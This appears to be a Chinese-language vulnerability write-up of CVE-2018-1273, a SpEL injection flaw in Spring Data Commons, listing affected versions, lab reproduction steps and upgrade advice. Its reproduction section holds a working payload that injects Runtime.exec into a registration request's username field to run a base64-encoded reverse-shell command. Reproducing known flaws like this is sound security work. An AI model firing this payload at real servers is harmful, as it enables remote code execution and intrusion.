发布于 

CVE-2018-1273(Spring Data Commons 远程命令执行)

1. 漏洞描述

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

2. 影响版本

  • Spring Data Commons 1.13 to 1.13.10 (Ingalls SR10)

  • Spring Data REST 2.6 to 2.6.10 (Ingalls SR10)

  • Spring Data Commons 2.0 to 2.0.5 (Kay SR5)

  • Spring Data REST 3.0 to 3.0.5 (Kay SR5)

  • 更老版本也受影响

3. 漏洞复现

3.1 查看注册页

访问http://ip:8080/users即可看到一个注册页面

image-20221022005645925

3.2 修改恶意Payload

在注册的时候抓包,将数据包改成恶意代码用于被反序列化执行。

1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("{URL转换的Base64编码后的反弹Shell代码位置}")]=&password=&repeatedPassword=

原数据包:

image-20221022010010547

修改后数据包:

image-20221022010309597

3.3 结果

image-20221022010354605

4. 漏洞分析

5. 修复建议

  • 本次漏洞问题出现在 Spring Data Commons中。该漏洞是由前端参数传入后台,后台框架使用SpEL表达式处理未校验的恶意字符串所引起的,因此建议采取IP白名单对IP进行限制,或者升级框架到最新版本。

  • 将Spring Data Commons框架的版本由2.0.x升级到2.0.6,1.13.x的用户升级到1.13.11。